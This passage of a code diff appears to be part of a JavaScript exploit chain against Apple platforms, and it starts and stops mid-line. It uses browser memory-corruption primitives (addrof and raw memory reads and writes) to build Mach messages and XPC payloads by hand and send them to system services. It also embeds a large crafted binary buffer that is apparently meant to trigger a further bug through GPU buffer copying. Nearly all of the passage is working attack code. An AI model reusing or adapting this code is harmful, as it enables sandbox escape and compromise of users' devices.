struct_field_set(mach_msg_ool_descriptor_t, msg, field, val); + } + let OXPC_TYPE_NULL = 0x1000n; + let OXPC_TYPE_BOOL = 0x2000n; + let OXPC_TYPE_INT64 = 0x3000n; + let OXPC_TYPE_UINT64 = 0x4000n; + let OXPC_TYPE_DATA = 0x8000n; + let OXPC_TYPE_OOL_DATA = 0x8001n; + let OXPC_TYPE_STRING = 0x9000n; + let OXPC_TYPE_UUID = 0xa000n; + let OXPC_TYPE_MACH_SEND = 0xd000n; + let OXPC_TYPE_ARRAY = 0xe000n; + let OXPC_TYPE_DICTIONARY = 0xf000n; + let OXPC_TYPE_INVALID = 0xbaadn; + let oxpc_arbitrary_size_limit = 0x50000000; + function round_up_32(base, unit) { + return base + (unit - 1n) & ~(unit - 1n); + } + let oxpc_dictionary_serialized_t = { + "type": [UINT32_BITSIZE, 0x0n], + "byte_count": [UINT32_BITSIZE, 0x4n], + "count": [UINT32_BITSIZE, 0x8n], + "_size": 0xcn + }; + let oxpc_null_t = { + "type": [UINT32_BITSIZE, 0x0n], + "_size": 0x4n + }; + function xpcjs_lookup(service_name) { + let service_port_ptr = new_uint64_t(); + let bootstrap_port = 0x807n; + let kr = bootstrap_look_up(bootstrap_port, get_cstring(service_name), service_port_ptr); + if (kr != KERN_SUCCESS) { + return MACH_PORT_NULL; + } + let service_port = uread32(service_port_ptr); + if (service_port == MACH_PORT_NULL) { + return MACH_PORT_NULL; + } + return service_port; + } + function xpcjs_xpc_checkin(service_port, client_port_addr, reply_port_addr) { + let kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, client_port_addr); + if (kr != KERN_SUCCESS) { + return kr; + } + kr = mach_port_insert_right(mach_task_self(), uread32(client_port_addr), uread32(client_port_addr), MACH_MSG_TYPE_MAKE_SEND); + if (kr != KERN_SUCCESS) { + return kr; + } + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, reply_port_addr); + if (kr != KERN_SUCCESS) { + return kr; + } + let msg_sz = mach_msg_header_t["_size"] + mach_msg_body_t["_size"] + mach_msg_port_descriptor_t["_size"] * 0x2n; + let msg = calloc(1n, msg_sz); + let hdr = msg; + mach_msg_header_set(hdr, "msgh_bits", MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0n, 0n, MACH_MSGH_BITS_COMPLEX)); + mach_msg_header_set(hdr, "msgh_size", msg_sz); + mach_msg_header_set(hdr, "msgh_remote_port", service_port); + mach_msg_header_set(hdr, "msgh_id", 0x77303074n); + let body = msg + mach_msg_header_t["_size"]; + mach_msg_body_set(body, "msgh_descriptor_count", 2n); + let port_0 = body + mach_msg_body_t["_size"]; + mach_msg_port_descriptor_set(port_0, "name", uread32(client_port_addr)); + mach_msg_port_descriptor_set(port_0, "disposition", MACH_MSG_TYPE_MOVE_RECEIVE); + mach_msg_port_descriptor_set(port_0, "type", MACH_MSG_PORT_DESCRIPTOR); + let port_1 = port_0 + mach_msg_port_descriptor_t["_size"]; + mach_msg_port_descriptor_set(port_1, "name", uread32(reply_port_addr)); + mach_msg_port_descriptor_set(port_1, "disposition", MACH_MSG_TYPE_MAKE_SEND); + mach_msg_port_descriptor_set(port_1, "type", MACH_MSG_PORT_DESCRIPTOR); + kr = mach_msg(msg, MACH_SEND_MSG | MACH_MSG_OPTION_NONE, msg_sz, 0n, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); + if (kr != KERN_SUCCESS) { + return kr; + } + return KERN_SUCCESS; + } + function xpcjs_xpc_connect(service_name) { + let connection = {}; + connection["client_port"] = new_uint64_t(); + connection["reply_port"] = new_uint64_t(); + let service_port = xpcjs_lookup(service_name); + let kr = xpcjs_xpc_checkin(service_port, connection["client_port"], connection["reply_port"]); + mach_port_deallocate(mach_task_self(), service_port); + if (kr != KERN_SUCCESS) { + LOG(`Failed to connect to ${service_name}, kr: ${kr.hex()}`); + return null; + } + connection["client_port"] = uread32(connection["client_port"]); + connection["reply_port"] = uread32(connection["reply_port"]); + return connection; + } + function oxpc_check_type(obj, type) { + if (obj["type"] != type) { + ERROR(`type mismatch: ${type} ${obj["type"]}`); + } + } + function oxpc_dictionary_alloc() { + let dict = {}; + dict["type"] = OXPC_TYPE_DICTIONARY; + dict["count"] = 0n; + dict["serialized_size"] = 0n; + dict["keys"] = []; + dict["values"] = []; + return dict; + } + function oxpc_null_alloc() { + let obj = {}; + obj["type"] = OXPC_TYPE_NULL; + return obj; + } + function oxpc_dictionary_append(dict, key, value) { + oxpc_check_type(dict, OXPC_TYPE_DICTIONARY); + if (dict["count"] > oxpc_arbitrary_size_limit) { + ERROR("oxpc dictionary grew too large"); + } + dict["count"] += 0x1n; + dict["keys"].push(strdup(key)); + dict["values"].push(value); + } + function oxpc_dictionary_type_descriptor() { + let desc = {}; + desc["serialized_size"] = function (dict) { + oxpc_check_type(dict, OXPC_TYPE_DICTIONARY); + if (dict["serialized_size"] != 0n) { + return dict["serialized_size"]; + } + let total = 0n; + for (let i = 0n; i < dict["count"]; i++) { + let key_size = round_up_32(strlen(dict["keys"][i]) + 1n, 4n); + let value_size = oxpc_object_serialized_size(dict["values"][i]); + if (key_size > oxpc_arbitrary_size_limit) { + ERROR("dictionary key too large for serialization"); + } + if (value_size > oxpc_arbitrary_size_limit) { + ERROR("dictionary value too large for serialization"); + } + if (total > oxpc_arbitrary_size_limit) { + ERROR("dictionary too large for serialization"); + } + total += key_size + value_size; + } + dict["serialized_size"] = oxpc_dictionary_serialized_t["_size"] + total; + return dict["serialized_size"]; + }; + desc["serialize_to_buffer"] = function (dict, buffer, ports) { + oxpc_check_type(dict, OXPC_TYPE_DICTIONARY); + let serialized_dict = buffer; + struct_field_set(oxpc_dictionary_serialized_t, serialized_dict, "type", dict["type"]); + struct_field_set(oxpc_dictionary_serialized_t, serialized_dict, "byte_count", oxpc_object_serialized_size(dict) - 0x8n); + struct_field_set(oxpc_dictionary_serialized_t, serialized_dict, "count", dict["count"]); + let dict_buffer = serialized_dict + oxpc_dictionary_serialized_t["_size"]; + for (let i = 0n; i < dict["count"]; i++) { + let key_size = strlen(dict["keys"][i]) + 1n; + memcpy(dict_buffer, dict["keys"][i], key_size); + key_size = round_up_32(key_size, 4n); + dict_buffer += key_size; + let value_size = oxpc_object_serialized_size(dict["values"][i]); + oxpc_object_serialize_to_buffer(dict["values"][i], dict_buffer, ports); + dict_buffer += value_size; + } + }; + return desc; + } + function oxpc_null_type_descriptor() { + let desc = {}; + desc["serialized_size"] = function (obj) { + oxpc_check_type(obj, OXPC_TYPE_NULL); + return oxpc_null_t["_size"]; + }; + desc["serialize_to_buffer"] = function (obj, buffer, ports) { + oxpc_check_type(obj, OXPC_TYPE_NULL); + uwrite_bitsize(buffer, OXPC_TYPE_NULL, 32n); + }; + return desc; + } + function oxpc_get_type_descriptor(obj) { + switch (obj["type"]) { + case OXPC_TYPE_STRING: + return oxpc_string_type_descriptor; + case OXPC_TYPE_INT64: + return oxpc_int64_type_descriptor; + case OXPC_TYPE_UINT64: + return oxpc_uint64_type_descriptor; + case OXPC_TYPE_ARRAY: + return oxpc_array_type_descriptor; + case OXPC_TYPE_DICTIONARY: + return oxpc_dictionary_type_descriptor(); + case OXPC_TYPE_OOL_DATA: + return oxpc_ool_data_type_descriptor; + case OXPC_TYPE_UUID: + return oxpc_uuid_type_descriptor; + case OXPC_TYPE_MACH_SEND: + return oxpc_mach_send_type_descriptor; + case OXPC_TYPE_DATA: + return oxpc_data_type_descriptor; + case OXPC_TYPE_NULL: + return oxpc_null_type_descriptor(); + case OXPC_TYPE_INVALID: + return oxpc_invalid_type_descriptor; + default: + ERROR("unrecognized oxpc type"); + } + return NULL; + } + function oxpc_object_serialized_size(obj) { + let desc = oxpc_get_type_descriptor(obj); + return desc["serialized_size"](obj); + } + function oxpc_object_serialize_to_buffer(obj, buffer, ports) { + oxpc_get_type_descriptor(obj)["serialize_to_buffer"](obj, buffer, ports); + } + function oxpc_port_list_alloc() { + let list = {}; + list["count"] = 0n; + list["ports"] = []; + return list; + } + function oxpc_port_list_append(list, port) { + if (list["count"] > oxpc_arbitrary_size_limit) { + ERROR("oxpc_ports_list too large"); + } + list["count"] += 0x1n; + list["ports"].push(port); + } + function oxpc_object_serialize_with_header(obj) { + let total_size = oxpc_object_serialized_size(obj); + if (total_size > oxpc_arbitrary_size_limit) { + ERROR("oxpc object too large to be serialized"); + } + total_size += 8n; + let buffer = calloc(1n, total_size); + if (buffer == NULL) { + ERROR("unable to allocate memory for serialized oxpc object"); + } + memset(buffer, 0n, total_size); + uwrite_bitsize(buffer, 0x40585043n, 32n); + uwrite_bitsize(buffer + 0x4n, 0x5n, 32n); + let ports = oxpc_port_list_alloc(); + oxpc_object_serialize_to_buffer(obj, buffer + 0x8n, ports); + return { + "buffer": buffer, + "total_size": total_size, + "ports": ports + }; + } + function oxpc_build_mach_message(serialized_payload, serialized_payload_size, body_ool, port_list, destination_port, reply_port) { + let is_complex_message = false; + if (port_list["count"] > 0n || body_ool) { + is_complex_message = true; + } + let msg_body_size = mach_msg_header_t["_size"]; + if (is_complex_message) { + msg_body_size += mach_msg_body_t["_size"]; + } + if (body_ool != 0n) { + msg_body_size += mach_msg_ool_descriptor_t["_size"]; + } + if (is_complex_message) { + msg_body_size += port_list["count"] * mach_msg_port_descriptor_t["_size"]; + } + if (body_ool == 0n) { + msg_body_size += serialized_payload_size; + } + let message = calloc(1n, msg_body_size + 0x100n); + if (message == NULL) { + ERROR("not enough memory to allocate mach message"); + } + let hdr = message; + let destination_disposition = 0n; + if (destination_port != MACH_PORT_NULL) { + destination_disposition = MACH_MSG_TYPE_COPY_SEND; + } + let reply_disposition = 0n; + if (reply_port != MACH_PORT_NULL) { + reply_disposition = MACH_MSG_TYPE_MAKE_SEND_ONCE; + } + let flag = 0n; + if (is_complex_message) { + flag = MACH_MSGH_BITS_COMPLEX; + } + mach_msg_header_set(hdr, "msgh_bits", MACH_MSGH_BITS_SET(destination_disposition, reply_disposition, 0n, flag)); + mach_msg_header_set(hdr, "msgh_size", msg_body_size); + mach_msg_header_set(hdr, "msgh_remote_port", destination_port); + mach_msg_header_set(hdr, "msgh_local_port", reply_port); + mach_msg_header_set(hdr, "msgh_voucher_port", MACH_PORT_NULL); + mach_msg_header_set(hdr, "msgh_id", 0x10000000n); + let message_body = hdr + mach_msg_header_t["_size"]; + ; + if (is_complex_message) { + let body = message_body; + mach_msg_body_set(body, "msgh_descriptor_count", port_list["count"]); + if (body_ool != 0n) { + mach_msg_body_set(body, "msgh_descriptor_count", port_list["count"] + 0x1n); + } + let next = body + mach_msg_body_t["_size"]; + if (body_ool != 0n) { + let desc = next; + mach_msg_ool_descriptor_set(desc, "address", serialized_payload); + mach_msg_ool_descriptor_set(desc, "copy", MACH_MSG_VIRTUAL_COPY); + mach_msg_ool_descriptor_set(desc, "deallocate", 0n); + mach_msg_ool_descriptor_set(desc, "size", serialized_payload_size); + mach_msg_ool_descriptor_set(desc, "type", MACH_MSG_OOL_DESCRIPTOR); + next = desc + mach_msg_ool_descriptor_t["_size"]; + } + let desc = next; + for (let i = 0n; i < port_list["count"]; i++) { + mach_msg_port_descriptor_set(desc, "name", port_list["ports"][i]); + mach_msg_port_descriptor_set(desc, "disposition", MACH_MSG_TYPE_COPY_SEND); + mach_msg_port_descriptor_set(desc, "type", MACH_MSG_PORT_DESCRIPTOR); + desc += mach_msg_port_descriptor_t["_size"]; + } + message_body = desc; + } + if (body_ool == 0n) { + memcpy(message_body, serialized_payload, serialized_payload_size); + } + return { + "message": message, + "message_size": msg_body_size + }; + } + let sample_buffer_data = new Uint8Array([0x84, 0x6, 0x0, 0x0, 0x66, 0x75, 0x62, 0x73, 0x8, 0x2, 0x0, 0x0, 0x74, 0x61, 0x64, 0x73, 0xb4, 0x97, 0xc7, 0x25, 0x0, 0xbb, 0xd9, 0x7, 0x4, 0xa6, 0x8f, 0x43, 0x90, 0x90, 0xdd, 0xc4, 0xd1, 0xdc, 0x6d, 0x79, 0xb6, 0x44, 0x1c, 0xea, 0xa7, 0xe6, 0x5e, 0x1d, 0x11, 0x68, 0x27, 0x59, 0xa2, 0x51, 0xde, 0x7e, 0x32, 0xc5, 0x62, 0x93, 0x11, 0xe2, 0xed, 0x44, 0xb9, 0xa2, 0xe8, 0x73, 0x1, 0x24, 0x94, 0x80, 0x20, 0xc1, 0x9f, 0x5, 0xd3, 0x35, 0xf0, 0xc9, 0x62, 0x7c, 0xfb, 0xa7, 0x32, 0xe7, 0x8c, 0x5f, 0x56, 0xf7, 0x8e, 0x8d, 0xb4, 0x3e, 0x45, 0xe0, 0xf3, 0x81, 0xfa, 0x96, 0x4c, 0xd7, 0xa8, 0x33, 0x61, 0x7e, 0x8, 0x22, 0xe9, 0x9e, 0x5c, 0x52, 0xfe, 0xcb, 0x51, 0x17, 0x6a, 0xa4, 0xe, 0xe7, 0xd, 0x84, 0xd1, 0x8b, 0x33, 0xce, 0xed, 0xae, 0xcc, 0xbe, 0x84, 0xfe, 0x38, 0x7f, 0x9a, 0x96, 0xfa, 0x7c, 0x7b, 0xc, 0xd6, 0x1e, 0x84, 0xd4, 0x87, 0xcb, 0x80, 0xd2, 0x9f, 0xe9, 0x5c, 0x61, 0x1f, 0x5a, 0x96, 0xff, 0x3a, 0xd, 0x4, 0x1c, 0x99, 0x86, 0x47, 0xb1, 0xfe, 0x42, 0x52, 0x1f, 0xe0, 0x50, 0x17, 0x64, 0xaf, 0x92, 0x7, 0xe3, 0x88, 0x7a, 0x19, 0x1a, 0x47, 0x16, 0x60, 0x51, 0x1, 0xea, 0x66, 0x50, 0x86, 0xda, 0x2c, 0x4c, 0x46, 0x56, 0xbb, 0x7d, 0xf7, 0x51, 0x76, 0xf7, 0xff, 0xc, 0x9b, 0x7e, 0x84, 0x66, 0xed, 0x74, 0x5e, 0x5a, 0x1, 0xae, 0xa4, 0xb2, 0x7, 0x17, 0x0, 0xac, 0xa0, 0x21, 0xf0, 0xdf, 0x26, 0x24, 0x16, 0x80, 0xaf, 0x1, 0x8d, 0x8b, 0x90, 0x83, 0x13, 0x61, 0x1c, 0x35, 0x6d, 0x5c, 0xcc, 0xf9, 0x45, 0xc8, 0xdd, 0xf, 0x74, 0xb2, 0x82, 0x7a, 0xf6, 0xda, 0x4b, 0xe, 0xa, 0x1, 0xda, 0x63, 0x27, 0xf0, 0x90, 0x3f, 0xa1, 0x4b, 0x41, 0x1d, 0x73, 0xa, 0xbf, 0x30, 0x88, 0x23, 0x97, 0x53, 0x9f, 0x55, 0xf6, 0x15, 0x58, 0x2a, 0x26, 0x4c, 0x74, 0xb, 0xe7, 0x95, 0xc6, 0x64, 0x4a, 0x6e, 0xd1, 0xf0, 0x53, 0x26, 0x61, 0xac, 0x47, 0x73, 0x38, 0x30, 0x5e, 0x62, 0xc0, 0xe3, 0x3, 0x0, 0x7a, 0x7a, 0xb7, 0xb8, 0xa7, 0xae, 0xd2, 0xf4, 0x6, 0x90, 0x7, 0x81, 0xd0, 0xe2, 0xa4, 0x7d, 0xdd, 0x7f, 0x94, 0x82, 0xac, 0xb, 0x43, 0xff, 0x67, 0xff, 0xc7, 0xa5, 0xf1, 0x28, 0x5a, 0x58, 0xd0, 0xcc, 0x16, 0xec, 0xc1, 0x1e, 0xc2, 0x37, 0x5b, 0xe5, 0xa2, 0x6c, 0xfe, 0x93, 0xb9, 0x70, 0x44, 0x71, 0xe9, 0x4c, 0x2f, 0xfb, 0x66, 0xe4, 0xae, 0x2a, 0x72, 0x39, 0xff, 0xc7, 0x1, 0xea, 0xa4, 0x69, 0x59, 0x43, 0x31, 0x1c, 0xbd, 0xa3, 0x8d, 0x5b, 0x9b, 0x55, 0x24, 0x64, 0xb1, 0x8a, 0x6f, 0x7f, 0x4d, 0x74, 0x9a, 0xc7, 0x5b, 0xf4, 0x85, 0x26, 0xb0, 0xc5, 0x3, 0x41, 0x43, 0x62, 0xc7, 0xae, 0x60, 0x9b, 0x32, 0xdf, 0xbf, 0xca, 0xf4, 0x44, 0xc6, 0xf, 0xff, 0x4, 0xe1, 0x39, 0x2b, 0x1, 0x10, 0x8b, 0xf1, 0xea, 0xb6, 0x3b, 0xfb, 0x2d, 0xa9, 0x1e, 0x7c, 0x5a, 0xdb, 0x63, 0x78, 0xa2, 0xd9, 0x97, 0x34, 0x92, 0x0, 0x5c, 0xdc, 0xdf, 0x18, 0x2d, 0x31, 0xb5, 0xb3, 0xe, 0x12, 0x82, 0x15, 0xe0, 0x95, 0x95, 0xcc, 0xe8, 0x54, 0x28, 0xdf, 0x6b, 0x69, 0x6e, 0x0, 0xc8, 0xb2, 0xf7, 0x4d, 0xea, 0xcb, 0x84, 0x20, 0x2b, 0x2c, 0xcc, 0x3f, 0x17, 0xfa, 0x7b, 0xc, 0xeb, 0xbf, 0x48, 0xd9, 0xf5, 0xb8, 0xd7, 0xa1, 0x96, 0x2e, 0x24, 0x7a, 0xda, 0x6, 0x29, 0xb6, 0x3d, 0xb9, 0xd1, 0xfc, 0x14, 0x7f, 0x6e, 0x87, 0xe3, 0x12, 0x48, 0x56, 0x39, 0x1c, 0x82, 0xf2, 0x88, 0x7f, 0xa5, 0xb3, 0x24, 0x33, 0x70, 0xc8, 0x1e, 0xe, 0x23, 0x89, 0x38, 0x38, 0x74, 0xc9, 0x60, 0xfe, 0x24, 0x55, 0xf6, 0x9, 0x0, 0x0, 0x0, 0x64, 0x73, 0x6f, 0x69, 0x0, 0x50, 0x0, 0x0, 0x0, 0x61, 0x69, 0x74, 0x73, 0xd, 0x4f, 0x38, 0x5, 0x0, 0x0, 0x0, 0x0, 0x8d, 0x30, 0x49, 0xe8, 0x1, 0x0, 0x0, 0x0, 0x45, 0x79, 0x9e, 0x79, 0x0, 0x0, 0x0, 0x0, 0x37, 0x88, 0xb7, 0xf, 0x0, 0x0, 0x0, 0x0, 0x5f, 0x4c, 0x6d, 0xb, 0x1, 0x0, 0x0, 0x0, 0xe8, 0x8f, 0x98, 0x9, 0x0, 0x0, 0x0, 0x0, 0xbc, 0xc3, 0xc3, 0x70, 0x0, 0x0, 0x0, 0x0, 0x40, 0xbb, 0x73, 0x2e, 0x1, 0x0, 0x0, 0x0, 0x80, 0x2, 0x4d, 0x17, 0x0, 0x0, 0x0, 0x0, 0xc, 0x0, 0x0, 0x0, 0x70, 0x6d, 0x73, 0x6e, 0xa2, 0x55, 0x81, 0xef, 0xc, 0x0, 0x0, 0x0, 0x70, 0x6d, 0x73, 0x6e, 0x47, 0x8a, 0x5, 0xc2, 0xc, 0x0, 0x0, 0x0, 0x70, 0x6d, 0x73, 0x6e, 0x86, 0x72, 0xed, 0x67, 0xc, 0x0, 0x0, 0x0, 0x70, 0x6d, 0x73, 0x6e, 0x0, 0x0, 0x0, 0x0, 0xc, 0x0, 0x0, 0x0, 0x70, 0x6d, 0x73, 0x6e, 0x73, 0x60, 0xd5, 0xf, 0x9b, 0x0, 0x0, 0x0, 0x63, 0x73, 0x63, 0x66, 0x3f, 0x0, 0x0, 0x0, 0x6c, 0x6e, 0x68, 0x63, 0x81, 0x97, 0x8c, 0xcb, 0x2a, 0x6, 0xff, 0x69, 0xce, 0xa9, 0x10, 0xf0, 0x3d, 0x55, 0x7f, 0xf0, 0x4a, 0x6f, 0x3a, 0xb4, 0x9d, 0xd3, 0xe1, 0x55, 0xe9, 0x8, 0x3f, 0x91, 0x10, 0x5d, 0x65, 0xd0, 0x32, 0x1f, 0x90, 0xe9, 0xde, 0xb5, 0x79, 0xd3, 0x35, 0x20, 0xdf, 0xbe, 0xdf, 0x73, 0x7f, 0x4b, 0x1, 0xfe, 0x9a, 0xb5, 0xfd, 0x2a, 0x68, 0xc, 0x0, 0x0, 0x0, 0x63, 0x64, 0x6f, 0x63, 0x64, 0x88, 0x49, 0x89, 0x30, 0x0, 0x0, 0x0, 0x64, 0x62, 0x73, 0x61, 0xde, 0xc2, 0xf2, 0xe9, 0x0, 0x0, 0x0, 0x0, 0x7e, 0x3e, 0xc0, 0x1, 0xca, 0x51, 0xa, 0xba, 0x88, 0x4b, 0x83, 0x90, 0xee, 0x6e, 0x8b, 0xd1, 0x33, 0x14, 0x15, 0x78, 0x3f, 0xe4, 0xf6, 0xaa, 0xab, 0x56, 0x4e, 0x2b, 0x0, 0x0, 0x0, 0x0, 0xc, 0x0, 0x0, 0x0, 0x6e, 0x61, 0x75, 0x71, 0xd4, 0x8d, 0x8a, 0x99, 0xc, 0x0, 0x0, 0x0, 0x6e, 0x61, 0x75, 0x71, 0x9d, 0x5f, 0x9f, 0x2a, 0x8, 0x1, 0x0, 0x0, 0x63, 0x73, 0x63, 0x66, 0x30, 0x0, 0x0, 0x0, 0x64, 0x62, 0x73, 0x61, 0xa9, 0x78, 0xbd, 0xb0, 0x0, 0x0, 0x0, 0x0, 0x99, 0x58, 0x2, 0x8a, 0xd7, 0x6e, 0x43, 0x62, 0xd9, 0x7a, 0xc2, 0x1f, 0x40, 0x96, 0x3c, 0x7b, 0xdb, 0xf5, 0xaf, 0x18, 0x42, 0xc8, 0x37, 0x9, 0xda, 0x6e, 0x10, 0x8, 0x0, 0x0, 0x0, 0x0, 0xc, 0x0, 0x0, 0x0, 0x61, 0x69, 0x64, 0x6d, 0x65, 0x64, 0x69, 0x76, 0xe, 0x0, 0x0, 0x0, 0x6c, 0x6e, 0x68, 0x63, 0xb6, 0x6d, 0xe8, 0xc0, 0xf3, 0x69, 0x30, 0x0, 0x0, 0x0, 0x64, 0x62, 0x73, 0x61, 0x4c, 0x79, 0xff, 0x16, 0x0, 0x0, 0x0, 0x0, 0x53, 0x6e, 0xbf, 0xd5, 0xa1, 0xbc, 0x2, 0x23, 0x1b, 0x26, 0x89, 0xf0, 0xb7, 0xe4, 0xa, 0xb1, 0x8e, 0xd5, 0x1a, 0x1a, 0x37, 0xe5, 0x0, 0x4, 0x75, 0xc8, 0xbf, 0x48, 0x0, 0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0x6d, 0x69, 0x64, 0x76, 0xf1, 0x40, 0x7b, 0x30, 0x91, 0xc6, 0x6f, 0x8, 0xc, 0x0, 0x0, 0x0, 0x6e, 0x61, 0x75, 0x71, 0x23, 0xd9, 0x2a, 0xa9, 0xc, 0x0, 0x0, 0x0, 0x63, 0x64, 0x6f, 0x63, 0xc4, 0x3c, 0xe5, 0x70, 0x2e, 0x0, 0x0, 0x0, 0x69, 0x6b, 0x75, 0x63, 0x5e, 0x27, 0x87, 0x5a, 0xd8, 0x83, 0xb2, 0xa4, 0x49, 0xe0, 0x4c, 0x42, 0x60, 0x66, 0xcd, 0xe2, 0x9, 0xc3, 0xb8, 0x3c, 0x1b, 0x9b, 0x7a, 0xa4, 0x84, 0xe5, 0x72, 0xe8, 0x75, 0xfe, 0x95, 0xe8, 0x10, 0x80, 0xff, 0xcd, 0x27, 0x9d, 0x30, 0x0, 0x0, 0x0, 0x64, 0x62, 0x73, 0x61, 0x1f, 0xf2, 0x4b, 0xea, 0x0, 0x0, 0x0, 0x0, 0xc9, 0x4f, 0x84, 0x27, 0xfe, 0xff, 0xff, 0xff, 0x52, 0xfe, 0xbf, 0xb6, 0x78, 0x26, 0x31, 0x3e, 0x79, 0x5c, 0x50, 0xbe, 0x33, 0xd1, 0x8f, 0x35, 0xc2, 0x4d, 0xab, 0xf9, 0x0, 0x0, 0x0, 0x0, 0x44, 0x0, 0x0, 0x0, 0x63, 0x73, 0x63, 0x66, 0xc, 0x0, 0x0, 0x0, 0x6e, 0x61, 0x75, 0x71, 0xea, 0x39, 0x7e, 0xed, 0xc, 0x0, 0x0, 0x0, 0x63, 0x64, 0x6f, 0x63, 0x1d, 0xa1, 0x89, 0x83, 0xc, 0x0, 0x0, 0x0, 0x6e, 0x61, 0x75, 0x71, 0x7c, 0x94, 0x1f, 0x5, 0xc, 0x0, 0x0, 0x0, 0x62, 0x75, 0x73, 0x6d, 0x70, 0x63, 0x6c, 0x63, 0xc, 0x0, 0x0, 0x0, 0x6e, 0x61, 0x75, 0x71, 0xbb, 0x5e, 0xcf, 0x11, 0xc, 0x0, 0x0, 0x0, 0x70, 0x6d, 0x73, 0x6e, 0x53, 0xe, 0xe6, 0xf, 0xc, 0x0, 0x0, 0x0, 0x70, 0x6d, 0x73, 0x6e, 0xfa, 0xa0, 0x8d, 0x80, 0xc5, 0x0, 0x0, 0x0, 0x63, 0x73, 0x63, 0x66, 0xc, 0x0, 0x0, 0x0, 0x63, 0x64, 0x6f, 0x63, 0x94, 0x5a, 0xa3, 0x7d, 0x33, 0x0, 0x0, 0x0, 0x69, 0x6b, 0x75, 0x63, 0x5c, 0xb, 0x95, 0x31, 0x4b, 0x6b, 0x98, 0xb9, 0xf0, 0x22, 0xba, 0xc0, 0x13, 0x87, 0x4c, 0xa7, 0x2a, 0x7c, 0xd9, 0x64, 0xf0, 0x94, 0xaa, 0x16, 0x97, 0x81, 0xed, 0xb2, 0x14, 0xf0, 0xff, 0xb5, 0x13, 0x73, 0x80, 0xcd, 0x5f, 0x4, 0x8f, 0x62, 0x6, 0xc5, 0xca, 0x10, 0x0, 0x0, 0x0, 0x6d, 0x69, 0x64, 0x76, 0x2d, 0x89, 0x78, 0x57, 0xad, 0x51, 0x91, 0x14, 0xc, 0x0, 0x0, 0x0, 0x67, 0x66, 0x63, 0x74, 0xae, 0xdc, 0x39, 0xbe, 0xc, 0x0, 0x0, 0x0, 0x62, 0x75, 0x73, 0x6d, 0x74, 0x63, 0x69, 0x70, 0xc, 0x0, 0x0, 0x0, 0x63, 0x64, 0x6f, 0x63, 0x66, 0xbf, 0xc0, 0xfc, 0x3e, 0x0, 0x0, 0x0, 0x69, 0x6b, 0x75, 0x63, 0x1d, 0x2d, 0x81, 0xbd, 0x24, 0xa5, 0x40, 0xf8, 0x9f, 0x84, 0xfb, 0x77, 0x71, 0x1f, 0x1, 0x4c, 0x4b, 0xa0, 0xdd, 0x58, 0x5, 0x0, 0xd8, 0x45, 0xde, 0xf9, 0xae, 0x16, 0x1, 0x70, 0x33, 0x49, 0xe6, 0xf1, 0xcb, 0x31, 0xa9, 0xfb, 0xa1, 0x0, 0xb8, 0xe5, 0x0, 0x81, 0x2e, 0x48, 0x61, 0xa2, 0xe1, 0xc9, 0x5, 0x74, 0xfe, 0xc5, 0xc, 0x0, 0x0, 0x0, 0x61, 0x69, 0x64, 0x6d, 0x61, 0x74, 0x65, 0x6d, 0xc, 0x0, 0x0, 0x0, 0x70, 0x6d, 0x73, 0x6e, 0x72, 0x26, 0xed, 0x7b, 0x5c, 0x0, 0x0, 0x0, 0x63, 0x73, 0x63, 0x66, 0xc, 0x0, 0x0, 0x0, 0x62, 0x75, 0x73, 0x6d, 0x76, 0x78, 0x75, 0x61, 0xc, 0x0, 0x0, 0x0, 0x6e, 0x61, 0x75, 0x71, 0xe2, 0x8d, 0x1b, 0x53, 0xc, 0x0, 0x0, 0x0, 0x62, 0x75, 0x73, 0x6d, 0x65, 0x64, 0x69, 0x76, 0x30, 0x0, 0x0, 0x0, 0x64, 0x62, 0x73, 0x61, 0x93, 0xc4, 0xbc, 0x48, 0x0, 0x0, 0x0, 0x0, 0x55, 0xb8, 0xec, 0x1a, 0x49, 0xb6, 0x7e, 0x70, 0xc2, 0x85, 0xdc, 0xa6, 0x95, 0xd4, 0xaf, 0x9d, 0xcd, 0xfc, 0x8b, 0x3f, 0xd4, 0xf9, 0x28, 0x5e, 0x2b, 0x97, 0xd4, 0x3f, 0x0, 0x0, 0x0, 0x0, 0xb3, 0x0, 0x0, 0x0, 0x63, 0x73, 0x63, 0x66, 0xc, 0x0, 0x0, 0x0, 0x63, 0x64, 0x6f, 0x63, 0x68, 0x89, 0x8, 0xe1, 0x30, 0x0, 0x0, 0x0, 0x64, 0x62, 0x73, 0x61, 0xb2, 0x32, 0xc6, 0xed, 0x0, 0x0, 0x0, 0x0, 0xe0, 0x5f, 0xcb, 0x69, 0x3b, 0x26, 0xfd, 0x6b, 0x49, 0x83, 0xa8, 0x18, 0x8c, 0x96, 0xa5, 0xa, 0x86, 0xc5, 0x19, 0x78, 0xa3, 0x9f, 0x89, 0x6f, 0x6b, 0x30, 0xc1, 0xa4, 0x0, 0x0, 0x0, 0x0, 0xc, 0x0, 0x0, 0x0, 0x63, 0x64, 0x6f, 0x63, 0xac, 0x3b, 0xbf, 0xdd, 0xc, 0x0, 0x0, 0x0, 0x62, 0x75, 0x73, 0x6d, 0x6e, 0x75, 0x6f, 0x73, 0xc, 0x0, 0x0, 0x0, 0x62, 0x75, 0x73, 0x6d, 0x65, 0x64, 0x69, 0x76, 0x30, 0x0, 0x0, 0x0, 0x64, 0x62, 0x73, 0x61, 0x20, 0x79, 0x3c, 0x20, 0x0, 0x0, 0x0, 0x0, 0xfd, 0xa2, 0x8a, 0xf9, 0xd0, 0xf4, 0x9b, 0xef, 0x81, 0xab, 0xae, 0xba, 0x88, 0xeb, 0xc7, 0x9c, 0x3e, 0xf1, 0x3f, 0x52, 0x22, 0xaa, 0xb9, 0x2, 0x2a, 0x9d, 0xae, 0xb4, 0x0, 0x0, 0x0, 0x0, 0x10, 0x0, 0x0, 0x0, 0x6d, 0x69, 0x64, 0x76, 0x11, 0x14, 0xab, 0xb7, 0xe7, 0x4, 0x9d, 0x47, 0xb, 0x0, 0x0, 0x0, 0x6c, 0x6e, 0x68, 0x63, 0x81, 0xb5, 0x49]); + let sample_buffer_data_ptr = wc_uread64(addrof(sample_buffer_data) + 0x10n); + let sample_buffer_data_size = BigInt(sample_buffer_data.length); + if (integrated) { + sample_buffer_data_ptr = gpuCopyBuffer(sample_buffer_data_ptr, sample_buffer_data_size); + } + LOG(`sample_buffer_data_ptr: 